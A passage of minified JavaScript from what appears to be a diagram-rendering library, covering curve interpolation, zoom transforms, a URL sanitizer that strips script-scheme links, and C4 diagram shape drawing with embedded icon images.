2:this._point=3,this._line?this._context.lineTo(this._x2,this._y2):this._context.moveTo(this._x2,this._y2);break;case 3:this._point=4;default:jv(this,t,e);break}this._l01_a=this._l12_a,this._l12_a=this._l23_a,this._l01_2a=this._l12_2a,this._l12_2a=this._l23_2a,this._x0=this._x1,this._x1=this._x2,this._x2=t,this._y0=this._y1,this._y1=this._y2,this._y2=e},"point")};oL=o((function t(e){function r(n){return e?new ZX(n,e):new eT(n,0)}return o(r,"catmullRom"),r.alpha=function(n){return t(+n)},r}),"custom")(.5)});function ej(t){this._context=t}function rT(t){return new ej(t)}var tj=N(()=>{"use strict";Hv();o(ej,"LinearClosed");ej.prototype={areaStart:so,areaEnd:so,lineStart:o(function(){this._point=0},"lineStart"),lineEnd:o(function(){this._point&&this._context.closePath()},"lineEnd"),point:o(function(t,e){t=+t,e=+e,this._point?this._context.lineTo(t,e):(this._point=1,this._context.moveTo(t,e))},"point")};o(rT,"default")});function rj(t){return t<0?-1:1}function nj(t,e,r){var n=t._x1-t._x0,i=e-t._x1,a=(t._y1-t._y0)/(n||i<0&&-0),s=(r-t._y1)/(i||n<0&&-0),l=(a*i+s*n)/(n+i);return(rj(a)+rj(s))*Math.min(Math.abs(a),Math.abs(s),.5*Math.abs(l))||0}function ij(t,e){var r=t._x1-t._x0;return r?(3*(t._y1-t._y0)/r-e)/2:e}function lL(t,e,r){var n=t._x0,i=t._y0,a=t._x1,s=t._y1,l=(a-n)/3;t._context.bezierCurveTo(n+l,i+l*e,a-l,s-l*r,a,s)}function nT(t){this._context=t}function aj(t){this._context=new sj(t)}function sj(t){this._context=t}function Qv(t){return new nT(t)}function Zv(t){return new aj(t)}var oj=N(()=>{"use strict";o(rj,"sign");o(nj,"slope3");o(ij,"slope2");o(lL,"point");o(nT,"MonotoneX");nT.prototype={areaStart:o(function(){this._line=0},"areaStart"),areaEnd:o(function(){this._line=NaN},"areaEnd"),lineStart:o(function(){this._x0=this._x1=this._y0=this._y1=this._t0=NaN,this._point=0},"lineStart"),lineEnd:o(function(){switch(this._point){case 2:this._context.lineTo(this._x1,this._y1);break;case 3:lL(this,this._t0,ij(this,this._t0));break}(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},"lineEnd"),point:o(function(t,e){var r=NaN;if(t=+t,e=+e,!(t===this._x1&&e===this._y1)){switch(this._point){case 0:this._point=1,this._line?this._context.lineTo(t,e):this._context.moveTo(t,e);break;case 1:this._point=2;break;case 2:this._point=3,lL(this,ij(this,r=nj(this,t,e)),r);break;default:lL(this,this._t0,r=nj(this,t,e));break}this._x0=this._x1,this._x1=t,this._y0=this._y1,this._y1=e,this._t0=r}},"point")};o(aj,"MonotoneY");(aj.prototype=Object.create(nT.prototype)).point=function(t,e){nT.prototype.point.call(this,e,t)};o(sj,"ReflectContext");sj.prototype={moveTo:o(function(t,e){this._context.moveTo(e,t)},"moveTo"),closePath:o(function(){this._context.closePath()},"closePath"),lineTo:o(function(t,e){this._context.lineTo(e,t)},"lineTo"),bezierCurveTo:o(function(t,e,r,n,i,a){this._context.bezierCurveTo(e,t,n,r,a,i)},"bezierCurveTo")};o(Qv,"monotoneX");o(Zv,"monotoneY")});function cj(t){this._context=t}function lj(t){var e,r=t.length-1,n,i=new Array(r),a=new Array(r),s=new Array(r);for(i[0]=0,a[0]=2,s[0]=t[0]+2*t[1],e=1;e=0;--e)i[e]=(s[e]-i[e+1])/a[e];for(a[r-1]=(t[r]+i[r-1])/2,e=0;e{"use strict";o(cj,"Natural");cj.prototype={areaStart:o(function(){this._line=0},"areaStart"),areaEnd:o(function(){this._line=NaN},"areaEnd"),lineStart:o(function(){this._x=[],this._y=[]},"lineStart"),lineEnd:o(function(){var t=this._x,e=this._y,r=t.length;if(r)if(this._line?this._context.lineTo(t[0],e[0]):this._context.moveTo(t[0],e[0]),r===2)this._context.lineTo(t[1],e[1]);else for(var n=lj(t),i=lj(e),a=0,s=1;s{"use strict";o(iT,"Step");iT.prototype={areaStart:o(function(){this._line=0},"areaStart"),areaEnd:o(function(){this._line=NaN},"areaEnd"),lineStart:o(function(){this._x=this._y=NaN,this._point=0},"lineStart"),lineEnd:o(function(){0=0&&(this._t=1-this._t,this._line=1-this._line)},"lineEnd"),point:o(function(t,e){switch(t=+t,e=+e,this._point){case 0:this._point=1,this._line?this._context.lineTo(t,e):this._context.moveTo(t,e);break;case 1:this._point=2;default:{if(this._t<=0)this._context.lineTo(this._x,e),this._context.lineTo(t,e);else{var r=this._x*(1-this._t)+t*this._t;this._context.lineTo(r,this._y),this._context.lineTo(r,e)}break}}this._x=t,this._y=e},"point")};o(em,"default");o(Jv,"stepBefore");o(e2,"stepAfter")});var fj=N(()=>{"use strict";MX();FX();GX();HX();WX();Wv();VX();XX();nL();aL();Xv();QX();JX();tT();tj();ZD();oj();uj();hj()});var dj=N(()=>{"use strict"});var pj=N(()=>{"use strict"});function Bh(t,e,r){this.k=t,this.x=e,this.y=r}function uL(t){for(;!t.__zoom;)if(!(t=t.parentNode))return cL;return t.__zoom}var cL,hL=N(()=>{"use strict";o(Bh,"Transform");Bh.prototype={constructor:Bh,scale:o(function(t){return t===1?this:new Bh(this.k*t,this.x,this.y)},"scale"),translate:o(function(t,e){return t===0&e===0?this:new Bh(this.k,this.x+this.k*t,this.y+this.k*e)},"translate"),apply:o(function(t){return[t[0]*this.k+this.x,t[1]*this.k+this.y]},"apply"),applyX:o(function(t){return t*this.k+this.x},"applyX"),applyY:o(function(t){return t*this.k+this.y},"applyY"),invert:o(function(t){return[(t[0]-this.x)/this.k,(t[1]-this.y)/this.k]},"invert"),invertX:o(function(t){return(t-this.x)/this.k},"invertX"),invertY:o(function(t){return(t-this.y)/this.k},"invertY"),rescaleX:o(function(t){return t.copy().domain(t.range().map(this.invertX,this).map(t.invert,t))},"rescaleX"),rescaleY:o(function(t){return t.copy().domain(t.range().map(this.invertY,this).map(t.invert,t))},"rescaleY"),toString:o(function(){return"translate("+this.x+","+this.y+") scale("+this.k+")"},"toString")};cL=new Bh(1,0,0);uL.prototype=Bh.prototype;o(uL,"transform")});var mj=N(()=>{"use strict"});var gj=N(()=>{"use strict";w5();dj();pj();hL();mj()});var yj=N(()=>{"use strict";gj();hL()});var yr=N(()=>{"use strict";Ch();SH();HW();XW();B0();jW();KW();JA();gq();QW();G_();ZW();eY();iD();pY();FY();z0();W_();$Y();JW();zY();AX();LX();yl();fj();G5();qD();g5();w5();yj()});var vj=Da(ji=>{"use strict";Object.defineProperty(ji,"__esModule",{value:!0});ji.BLANK_URL=ji.relativeFirstCharacters=ji.whitespaceEscapeCharsRegex=ji.urlSchemeRegex=ji.ctrlCharactersRegex=ji.htmlCtrlEntityRegex=ji.htmlEntitiesRegex=ji.invalidProtocolRegex=void 0;ji.invalidProtocolRegex=/^([^\w]*)(javascript|data|vbscript)/im;ji.htmlEntitiesRegex=/&#(\w+)(^\w|;)?/g;ji.htmlCtrlEntityRegex=/&(newline|tab);/gi;ji.ctrlCharactersRegex=/[\u0000-\u001F\u007F-\u009F\u2000-\u200D\uFEFF]/gim;ji.urlSchemeRegex=/^.+(:|:)/gim;ji.whitespaceEscapeCharsRegex=/(\\|%5[cC])((%(6[eE]|72|74))|[nrt])/g;ji.relativeFirstCharacters=[".","/"];ji.BLANK_URL="about:blank"});var tm=Da(aT=>{"use strict";Object.defineProperty(aT,"__esModule",{value:!0});aT.sanitizeUrl=void 0;var Na=vj();function VCe(t){return Na.relativeFirstCharacters.indexOf(t[0])>-1}o(VCe,"isRelativeUrlWithoutProtocol");function UCe(t){var e=t.replace(Na.ctrlCharactersRegex,"");return e.replace(Na.htmlEntitiesRegex,function(r,n){return String.fromCharCode(n)})}o(UCe,"decodeHtmlCharacters");function HCe(t){return URL.canParse(t)}o(HCe,"isValidUrl");function xj(t){try{return decodeURIComponent(t)}catch{return t}}o(xj,"decodeURI");function qCe(t){if(!t)return Na.BLANK_URL;var e,r=xj(t.trim());do r=UCe(r).replace(Na.htmlCtrlEntityRegex,"").replace(Na.ctrlCharactersRegex,"").replace(Na.whitespaceEscapeCharsRegex,"").trim(),r=xj(r),e=r.match(Na.ctrlCharactersRegex)||r.match(Na.htmlEntitiesRegex)||r.match(Na.htmlCtrlEntityRegex)||r.match(Na.whitespaceEscapeCharsRegex);while(e&&e.length>0);var n=r;if(!n)return Na.BLANK_URL;if(VCe(n))return n;var i=n.trimStart(),a=i.match(Na.urlSchemeRegex);if(!a)return n;var s=a[0].toLowerCase().trim();if(Na.invalidProtocolRegex.test(s))return Na.BLANK_URL;var l=i.replace(/\\/g,"/");if(s==="mailto:"||s.includes("://"))return l;if(s==="http:"||s==="https:"){if(!HCe(l))return Na.BLANK_URL;var u=new URL(l);return u.protocol=u.protocol.toLowerCase(),u.hostname=u.hostname.toLowerCase(),u.toString()}return l}o(qCe,"sanitizeUrl");aT.sanitizeUrl=qCe});var fL,Fd,sT,bj,oT,lT,ua,t2,r2=N(()=>{"use strict";fL=ja(tm(),1);gr();Fd=o((t,e)=>{let r=t.append("rect");if(r.attr("x",e.x),r.attr("y",e.y),r.attr("fill",e.fill),r.attr("stroke",e.stroke),r.attr("width",e.width),r.attr("height",e.height),e.name&&r.attr("name",e.name),e.rx&&r.attr("rx",e.rx),e.ry&&r.attr("ry",e.ry),e.attrs!==void 0)for(let n in e.attrs)r.attr(n,e.attrs[n]);return e.class&&r.attr("class",e.class),r},"drawRect"),sT=o((t,e)=>{let r={x:e.startx,y:e.starty,width:e.stopx-e.startx,height:e.stopy-e.starty,fill:e.fill,stroke:e.stroke,class:"rect"};Fd(t,r).lower()},"drawBackgroundRect"),bj=o((t,e)=>{let r=e.text.replace(pd," "),n=t.append("text");n.attr("x",e.x),n.attr("y",e.y),n.attr("class","legend"),n.style("text-anchor",e.anchor),e.class&&n.attr("class",e.class);let i=n.append("tspan");return i.attr("x",e.x+e.textMargin*2),i.text(r),n},"drawText"),oT=o((t,e,r,n)=>{let i=t.append("image");i.attr("x",e),i.attr("y",r);let a=(0,fL.sanitizeUrl)(n);i.attr("xlink:href",a)},"drawImage"),lT=o((t,e,r,n)=>{let i=t.append("use");i.attr("x",e),i.attr("y",r);let a=(0,fL.sanitizeUrl)(n);i.attr("xlink:href",`#${a}`)},"drawEmbeddedImage"),ua=o(()=>({x:0,y:0,width:100,height:100,fill:"#EDF2AE",stroke:"#666",anchor:"start",rx:0,ry:0}),"getNoteRect"),t2=o(()=>({x:0,y:0,width:100,height:100,"text-anchor":"start",style:"#666",textMargin:0,rx:0,ry:0,tspan:!0}),"getTextObj")});var Tj,dL,wj,WCe,YCe,XCe,jCe,KCe,QCe,ZCe,JCe,e7e,t7e,r7e,n7e,Au,Al,kj=N(()=>{"use strict";gr();r2();Tj=ja(tm(),1),dL=o(function(t,e){return Fd(t,e)},"drawRect"),wj=o(function(t,e,r,n,i,a){let s=t.append("image");s.attr("width",e),s.attr("height",r),s.attr("x",n),s.attr("y",i);let l=a.startsWith("data:image/png;base64")?a:(0,Tj.sanitizeUrl)(a);s.attr("xlink:href",l)},"drawImage"),WCe=o((t,e,r)=>{let n=t.append("g"),i=0;for(let a of e){let s=a.textColor?a.textColor:"#444444",l=a.lineColor?a.lineColor:"#444444",u=a.offsetX?parseInt(a.offsetX):0,h=a.offsetY?parseInt(a.offsetY):0,f="";if(i===0){let p=n.append("line");p.attr("x1",a.startPoint.x),p.attr("y1",a.startPoint.y),p.attr("x2",a.endPoint.x),p.attr("y2",a.endPoint.y),p.attr("stroke-width","1"),p.attr("stroke",l),p.style("fill","none"),a.type!=="rel_b"&&p.attr("marker-end","url("+f+"#arrowhead)"),(a.type==="birel"||a.type==="rel_b")&&p.attr("marker-start","url("+f+"#arrowend)"),i=-1}else{let p=n.append("path");p.attr("fill","none").attr("stroke-width","1").attr("stroke",l).attr("d","Mstartx,starty Qcontrolx,controly stopx,stopy ".replaceAll("startx",a.startPoint.x).replaceAll("starty",a.startPoint.y).replaceAll("controlx",a.startPoint.x+(a.endPoint.x-a.startPoint.x)/2-(a.endPoint.x-a.startPoint.x)/4).replaceAll("controly",a.startPoint.y+(a.endPoint.y-a.startPoint.y)/2).replaceAll("stopx",a.endPoint.x).replaceAll("stopy",a.endPoint.y)),a.type!=="rel_b"&&p.attr("marker-end","url("+f+"#arrowhead)"),(a.type==="birel"||a.type==="rel_b")&&p.attr("marker-start","url("+f+"#arrowend)")}let d=r.messageFont();Au(r)(a.label.text,n,Math.min(a.startPoint.x,a.endPoint.x)+Math.abs(a.endPoint.x-a.startPoint.x)/2+u,Math.min(a.startPoint.y,a.endPoint.y)+Math.abs(a.endPoint.y-a.startPoint.y)/2+h,a.label.width,a.label.height,{fill:s},d),a.techn&&a.techn.text!==""&&(d=r.messageFont(),Au(r)("["+a.techn.text+"]",n,Math.min(a.startPoint.x,a.endPoint.x)+Math.abs(a.endPoint.x-a.startPoint.x)/2+u,Math.min(a.startPoint.y,a.endPoint.y)+Math.abs(a.endPoint.y-a.startPoint.y)/2+r.messageFontSize+5+h,Math.max(a.label.width,a.techn.width),a.techn.height,{fill:s,"font-style":"italic"},d))}},"drawRels"),YCe=o(function(t,e,r){let n=t.append("g"),i=e.bgColor?e.bgColor:"none",a=e.borderColor?e.borderColor:"#444444",s=e.fontColor?e.fontColor:"black",l={"stroke-width":1,"stroke-dasharray":"7.0,7.0"};e.nodeType&&(l={"stroke-width":1});let u={x:e.x,y:e.y,fill:i,stroke:a,width:e.width,height:e.height,rx:2.5,ry:2.5,attrs:l};dL(n,u);let h=r.boundaryFont();h.fontWeight="bold",h.fontSize=h.fontSize+2,h.fontColor=s,Au(r)(e.label.text,n,e.x,e.y+e.label.Y,e.width,e.height,{fill:"#444444"},h),e.type&&e.type.text!==""&&(h=r.boundaryFont(),h.fontColor=s,Au(r)(e.type.text,n,e.x,e.y+e.type.Y,e.width,e.height,{fill:"#444444"},h)),e.descr&&e.descr.text!==""&&(h=r.boundaryFont(),h.fontSize=h.fontSize-2,h.fontColor=s,Au(r)(e.descr.text,n,e.x,e.y+e.descr.Y,e.width,e.height,{fill:"#444444"},h))},"drawBoundary"),XCe=o(function(t,e,r){let n=e.bgColor?e.bgColor:r[e.typeC4Shape.text+"_bg_color"],i=e.borderColor?e.borderColor:r[e.typeC4Shape.text+"_border_color"],a=e.fontColor?e.fontColor:"#FFFFFF",s="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAIAAADYYG7QAAACD0lEQVR4Xu2YoU4EMRCGT+4j8Ai8AhaH4QHgAUjQuFMECUgMIUgwJAgMhgQsAYUiJCiQIBBY+EITsjfTdme6V24v4c8vyGbb+ZjOtN0bNcvjQXmkH83WvYBWto6PLm6v7p7uH1/w2fXD+PBycX1Pv2l3IdDm/vn7x+dXQiAubRzoURa7gRZWd0iGRIiJbOnhnfYBQZNJjNbuyY2eJG8fkDE3bbG4ep6MHUAsgYxmE3nVs6VsBWJSGccsOlFPmLIViMzLOB7pCVO2AtHJMohH7Fh6zqitQK7m0rJvAVYgGcEpe//PLdDz65sM4pF9N7ICcXDKIB5Nv6j7tD0NoSdM2QrU9Gg0ewE1LqBhHR3BBdvj2vapnidjHxD/q6vd7Pvhr31AwcY8eXMTXAKECZZJFXuEq27aLgQK5uLMohCenGGuGewOxSjBvYBqeG6B+Nqiblggdjnc+ZXDy+FNFpFzw76O3UBAROuXh6FoiAcf5g9eTvUgzy0nWg6I8cXHRUpg5bOVBCo+KDpFajOf23GgPme7RSQ+lacIENUgJ6gg1k6HjgOlqnLqip4tEuhv0hNEMXUD0clyXE3p6pZA0S2nnvTlXwLJEZWlb7cTQH1+USgTN4VhAenm/wea1OCAOmqo6fE1WCb9WSKBah+rbUWPWAmE2Rvk0ApiB45eOyNAzU8xcTvj8KvkKEoOaIYeHNA3ZuygAvFMUO0AAAAASUVORK5CYII=";switch(e.typeC4Shape.text){case"person":s="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAIAAADYYG7QAAACD0lEQVR4Xu2YoU4EMRCGT+4j8Ai8AhaH4QHgAUjQuFMECUgMIUgwJAgMhgQsAYUiJCiQIBBY+EITsjfTdme6V24v4c8vyGbb+ZjOtN0bNcvjQXmkH83WvYBWto6PLm6v7p7uH1/w2fXD+PBycX1Pv2l3IdDm/vn7x+dXQiAubRzoURa7gRZWd0iGRIiJbOnhnfYBQZNJjNbuyY2eJG8fkDE3bbG4ep6MHUAsgYxmE3nVs6VsBWJSGccsOlFPmLIViMzLOB7pCVO2AtHJMohH7Fh6zqitQK7m0rJvAVYgGcEpe//PLdDz65sM4pF9N7ICcXDKIB5Nv6j7tD0NoSdM2QrU9Gg0ewE1LqBhHR3BBdvj2vapnidjHxD/q6vd7Pvhr31AwcY8eXMTXAKECZZJFXuEq27aLgQK5uLMohCenGGuGewOxSjBvYBqeG6B+Nqiblggdjnc+ZXDy+FNFpFzw76O3UBAROuXh6FoiAcf5g9eTvUgzy0nWg6I8cXHRUpg5bOVBCo+KDpFajOf23GgPme7RSQ+lacIENUgJ6gg1k6HjgOlqnLqip4tEuhv0hNEMXUD0clyXE3p6pZA0S2nnvTlXwLJEZWlb7cTQH1+USgTN4VhAenm/wea1OCAOmqo6fE1WCb9WSKBah+rbUWPWAmE2Rvk0ApiB45eOyNAzU8xcTvj8KvkKEoOaIYeHNA3ZuygAvFMUO0AAAAASUVORK5CYII=";break;case"external_person":s="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAIAAADYYG7QAAAB6ElEQVR4Xu2YLY+EMBCG9+dWr0aj0Wg0Go1Go0+j8Xdv2uTCvv1gpt0ebHKPuhDaeW4605Z9mJvx4AdXUyTUdd08z+u6flmWZRnHsWkafk9DptAwDPu+f0eAYtu2PEaGWuj5fCIZrBAC2eLBAnRCsEkkxmeaJp7iDJ2QMDdHsLg8SxKFEJaAo8lAXnmuOFIhTMpxxKATebo4UiFknuNo4OniSIXQyRxEA3YsnjGCVEjVXD7yLUAqxBGUyPv/Y4W2beMgGuS7kVQIBycH0fD+oi5pezQETxdHKmQKGk1eQEYldK+jw5GxPfZ9z7Mk0Qnhf1W1m3w//EUn5BDmSZsbR44QQLBEqrBHqOrmSKaQAxdnLArCrxZcM7A7ZKs4ioRq8LFC+NpC3WCBJsvpVw5edm9iEXFuyNfxXAgSwfrFQ1c0iNda8AdejvUgnktOtJQQxmcfFzGglc5WVCj7oDgFqU18boeFSs52CUh8LE8BIVQDT1ABrB0HtgSEYlX5doJnCwv9TXocKCaKbnwhdDKPq4lf3SwU3HLq4V/+WYhHVMa/3b4IlfyikAduCkcBc7mQ3/z/Qq/cTuikhkzB12Ae/mcJC9U+Vo8Ej1gWAtgbeGgFsAMHr50BIWOLCbezvhpBFUdY6EJuJ/QDW0XoMX60zZ0AAAAASUVORK5CYII=";break}let l=t.append("g");l.attr("class","person-man");let u=ua();switch(e.typeC4Shape.text){case"person":case"external_person":case"system":case"external_system":case"container":case"external_container":case"component":case"external_component":u.x=e.x,u.y=e.y,u.fill=n,u.width=e.width,u.height=e.height,u.stroke=i,u.rx=2.5,u.ry=2.5,u.attrs={"stroke-width":.5},dL(l,u);break;case"system_db":case"external_system_db":case"container_db":case"external_container_db":case"component_db":case"external_component_db":l.append("path").attr("fill",n).attr("stroke-width","0.5").attr("stroke",i).attr("d","Mstartx,startyc0,-10 half,-10 half,-10c0,0 half,0 half,10l0,heightc0,10 -half,10 -half,10c0,0 -half,0 -half,-10l0,-height".replaceAll("startx",e.x).replaceAll("starty",e.y).replaceAll("half",e.width/2).replaceAll("height",e.height)),l.append("path").attr("fill","none").attr("stroke-width","0.5").attr("stroke",i).attr("d","Mstartx,startyc0,10 half,10 half,10c0,0 half,0 half,-10".replaceAll("startx",e.x).replaceAll("starty",e.y).replaceAll("half",e.width/2));break;case"system_queue":case"external_system_queue":case"container_queue":case"external_container_queue":case"component_queue":case"external_component_queue":l.append("path").attr("fill",n).attr("stroke-width","0.5").attr("stroke",i).attr("d","Mstartx,startylwidth,0c5,0 5,half 5,halfc0,0 0,half -5,halfl-width,0c-5,0 -5,-half -5,-halfc0,0 0,-half 5,-half".replaceAll("startx",e.x).replaceAll("starty",e.y).replaceAll("width",e.width).replaceAll("half",e.height/2)),l.append("path").attr("fill","none").attr("stroke-width","0.5").attr("stroke",i).attr("d","Mstartx,startyc-5,0 -5,half -5,halfc0,half 5,half 5,half".replaceAll("startx",e.x+e.width).replaceAll("starty",e.y).replaceAll("half",e.height/2));break}let h=n7e(r,e.typeC4Shape.text);switch(l.append("text").attr("fill",a).attr("font-family",h.fontFamily).attr("font-size",h.fontSize-2).attr("font-style","italic").attr("lengthAdjust","spacing").attr("textLength",e.typeC4Shape.width).attr("x",e.x+e.width/2-e.typeC4Shape.width/2).attr("y",e.y+e.typeC4Shape.Y).text("<<"+e.typeC4Shape.text+">>"),e.typeC4Shape.text){case"person":case"external_person":wj(l,48,48,e.x+e.width/2-24,e.y+e.image.Y,s);break}let f=r[e.typeC4Shape.text+"Font"]();return f.fontWeight="bold",f.fontSize=f.fontSize+2,f.fontColor=a,Au(r)(e.label.text,l,e.x,e.y+e.label.Y,e.width,e.height,{fill:a},f),f=r[e.typeC4Shape.text+"Font"](),f.fontColor=a,e.techn&&e.techn?.text!==""?Au(r)(e.techn.text,l,e.x,e.y+e.techn.Y,e.width,e.height,{fill:a,"font-style":"italic"},f):e.type&&e.type.text!==""&&Au(r)(e.type.text,l,e.x,e.y+e.type.Y,e.width,e.height,{fill:a,"font-style":"italic"},f),e.descr&&e.descr.text!==""&&(f=r.personFont(),f.fontColor=a,Au(r)(e.descr.text,l,e.x,e.y+e.descr.Y,e.width,e.height,{fill:a},f)),e.height},"drawC4Shape"),jCe=o(function(t){t.append("defs").append("symbol").attr("id","database").attr("fill-rule","evenodd").attr("clip-rule","evenodd").append("path").attr("transform","scale(.5)").attr("d","M12.258.001l.256.004.255.005.253.008.251.01.249.012.247.015.246.016.242.019.241.02.239.023.236.024.233.027.231.028.229.031.225.032.223.034.22.036.217.038.214.04.211.041.208.043.205.045.201.046.198.048.194.05.191.051.187.053.183.054.18.056.175.057.172.059.168.06.163.061.16.063.155.064.15.066.074.033.073.033.071.034.07.034.069.035.068.035.067.035.066.035.064.036.064.036.062.036.06.036.06.037.058.037.058.037.055.038.055.038.053.038.052.038.051.039.05.039.048.039.047.039.045.04.044.04.043.04.041.04.04.041.039.041.037.041.036.041.034.041.033.042.032.042.03.042.029.042.027.042.026.043.024.043.023.043.021.043.02.043.018.044.017.043.015.044.013.044.012.044.011.045.009.044.007.045.006.045.004.045.002.045.001.045v17l-.001.045-.002.045-.004.045-.006.045-.007.045-.009.044-.011.045-.012.044-.013.044-.015.044-.017.043-.018.044-.02.043-.021.043-.023.043-.024.043-.026.043-.027.042-.029.042-.03.042-.032.042-.033.042-.034.041-.036.041-.037.041-.039.041-.04.041-.041.04-.043.04-.044.04-.045.04-.047.039-.048.039-.05.039-.051.039-.052.038-.053.038-.055.038-.055.038-.058.037-.058.037-.06.037-.06.036-.062.036-.064.036-.064.036-.066.035-.067.035-.068.035-.069.035-.07.034-.071.034-.073.033-.074.033-.15.066-.155.064-.16.063-.163.061-.168.06-.172.059-.175.057-.18.056-.183.054-.187.053-.191.051-.194.05-.198.048-.201.046-.205.045-.208.043-.211.041-.214.04-.217.038-.22.036-.223.034-.225.032-.229.031-.231.028-.233.027-.236.024-.239.023-.241.02-.242.019-.246.016-.247.015-.249.012-.251.01-.253.008-.255.005-.256.004-.258.001-.258-.001-.256-.004-.255-.005-.253-.008-.251-.01-.249-.012-.247-.015-.245-.016-.243-.019-.241-.02-.238-.023-.236-.024-.234-.027-.231-.028-.228-.031-.226-.032-.223-.034-.22-.036-.217-.038-.214-.04-.211-.041-.208-.043-.204-.045-.201-.046-.198-.048-.195-.05-.19-.051-.187-.053-.184-.054-.179-.056-.176-.057-.172-.059-.167-.06-.164-.061-.159-.063-.155-.064-.151-.066-.074-.033-.072-.033-.072-.034-.07-.034-.069-.035-.068-.035-.067-.035-.066-.035-.064-.036-.063-.036-.062-.036-.061-.036-.06-.037-.058-.037-.057-.037-.056-.038-.055-.038-.053-.038-.052-.038-.051-.039-.049-.039-.049-.039-.046-.039-.046-.04-.044-.04-.043-.04-.041-.04-.04-.041-.039-.041-.037-.041-.036-.041-.034-.041-.033-.042-.032-.042-.03-.042-.029-.042-.027-.042-.026-.043-.024-.043-.023-.043-.021-.043-.02-.043-.018-.044-.017-.043-.015-.044-.013-.044-.012-.044-.011-.045-.009-.044-.007-.045-.006-.045-.004-.045-.002-.045-.001-.045v-17l.001-.045.002-.045.004-.045.006-.045.007-.045.009-.044.011-.045.012-.044.013-.044.015-.044.017-.043.018-.044.02-.043.021-.043.023-.043.024-.043.026-.043.027-.042.029-.042.03-.042.032-.042.033-.042.034-.041.036-.041.037-.041.039-.041.04-.041.041-.04.043-.04.044-.04.046-.04.046-.039.049-.039.049-.039.051-.039.052-.038.053-.038.055-.038.056-.038.057-.037.058-.037.06-.037.061-.036.062-.036.063-.036.064-.036.066-.035.067-.035.068-.035.069-.035.07-.034.072-.034.072-.033.074-.033.151-.066.155-.064.159-.063.164-.061.167-.06.172-.059.176-.057.179-.056.184-.054.187-.053.19-.051.195-.05.198-.048.201-.046.204-.045.208-.043.211-.041.214-.04.217-.038.22-.036.223-.034.226-.032.228-.031.231-.028.234-.027.236-.024.238-.023.241-.02.243-.019.245-.016.247-.015.249-.012.251-.01.253-.008.255-.005.256-.004.258-.001.258.001zm-9.258 20.499v.01l.001.021.003.021.004.022.005.021.006.022.007.022.009.023.01.022.011.023.012.023.013.023.015.023.016.024.017.023.018.024.019.024.021.024.022.025.023.024.024.025.052.049.056.05.061.051.066.051.07.051.075.051.079.052.084.052.088.052.092.052.097.052.102.051.105.052.11.052.114.051.119.051.123.051.127.05.131.05.135.05.139.048.144.049.147.047.152.047.155.047.16.045.163.045.167.043.171.043.176.041.178.041.183.039.187.039.19.037.194.035.197.035.202.033.204.031.209.03.212.029.216.027.219.025.222.024.226.021.23.02.233.018.236.016.24.015.243.012.246.01.249.008.253.005.256.004.259.001.26-.001.257-.004.254-.005.25-.008.247-.011.244-.012.241-.014.237-.016.233-.018.231-.021.226-.021.224-.024.22-.026.216-.027.212-.028.21-.031.205-.031.202-.034.198-.034.194-.036.191-.037.187-.039.183-.04.179-.04.175-.042.172-.043.168-.044.163-.045.16-.046.155-.046.152-.047.148-.048.143-.049.139-.049.136-.05.131-.05.126-.05.123-.051.118-.052.114-.051.11-.052.106-.052.101-.052.096-.052.092-.052.088-.053.083-.051.079-.052.074-.052.07-.051.065-.051.06-.051.056-.05.051-.05.023-.024.023-.025.021-.024.02-.024.019-.024.018-.024.017-.024.015-.023.014-.024.013-.023.012-.023.01-.023.01-.022.008-.022.006-.022.006-.022.004-.022.004-.021.001-.021.001-.021v-4.127l-.077.055-.08.053-.083.054-.085.053-.087.052-.09.052-.093.051-.095.05-.097.05-.1.049-.102.049-.105.048-.106.047-.109.047-.111.046-.114.045-.115.045-.118.044-.12.043-.122.042-.124.042-.126.041-.128.04-.13.04-.132.038-.134.038-.135.037-.138.037-.139.035-.142.035-.143.034-.144.033-.147.032-.148.031-.15.03-.151.03-.153.029-.154.027-.156.027-.158.026-.159.025-.161.024-.162.023-.163.022-.165.021-.166.02-.167.019-.169.018-.169.017-.171.016-.173.015-.173.014-.175.013-.175.012-.177.011-.178.01-.179.008-.179.008-.181.006-.182.005-.182.004-.184.003-.184.002h-.37l-.184-.002-.184-.003-.182-.004-.182-.005-.181-.006-.179-.008-.179-.008-.178-.01-.176-.011-.176-.012-.175-.013-.173-.014-.172-.015-.171-.016-.17-.017-.169-.018-.167-.019-.166-.02-.165-.021-.163-.022-.162-.023-.161-.024-.159-.025-.157-.026-.156-.027-.155-.027-.153-.029-.151-.03-.15-.03-.148-.031-.146-.032-.145-.033-.143-.034-.141-.035-.14-.035-.137-.037-.136-.037-.134-.038-.132-.038-.13-.04-.128-.04-.126-.041-.124-.042-.122-.042-.12-.044-.117-.043-.116-.045-.113-.045-.112-.046-.109-.047-.106-.047-.105-.048-.102-.049-.1-.049-.097-.05-.095-.05-.093-.052-.09-.051-.087-.052-.085-.053-.083-.054-.08-.054-.077-.054v4.127zm0-5.654v.011l.001.021.003.021.004.021.005.022.006.022.007.022.009.022.01.022.011.023.012.023.013.023.015.024.016.023.017.024.018.024.019.024.021.024.022.024.023.025.024.024.052.05.056.05.061.05.066.051.07.051.075.052.079.051.084.052.088.052.092.052.097.052.102.052.105.052.11.051.114.051.119.052.123.05.127.051.131.05.135.049.139.049.144.048.147.048.152.047.155.046.16.045.163.045.167.044.171.042.176.042.178.04.183.04.187.038.19.037.194.036.197.034.202.033.204.032.209.03.212.028.216.027.219.025.222.024.226.022.23.02.233.018.236.016.24.014.243.012.246.01.249.008.253.006.256.003.259.001.26-.001.257-.003.254-.006.25-.008.247-.01.244-.012.241-.015.237-.016.233-.018.231-.02.226-.022.224-.024.22-.025.216-.027.212-.029.21-.03.205-.032.202-.033.198-.035.194-.036.191-.037.187-.039.183-.039.179-.041.175-.042.172-.043.168-.044.163-.045.16-.045.155-.047.152-.047.148-.048.143-.048.139-.05.136-.049.131-.05.126-.051.123-.051.118-.051.114-.052.11-.052.106-.052.101-.052.096-.052.092-.052.088-.052.083-.052.079-.052.074-.051.07-.052.065-.051.06-.05.056-.051.051-.049.023-.025.023-.024.021-.025.02-.024.019-.024.018-.024.017-.024.015-.023.014-.023.013-.024.012-.022.01-.023.01-.023.008-.022.006-.022.006-.022.004-.021.004-.022.001-.021.001-.021v-4.139l-.077.054-.08.054-.083.054-.085.052-.087.053-.09.051-.093.051-.095.051-.097.05-.1.049-.102.049-.105.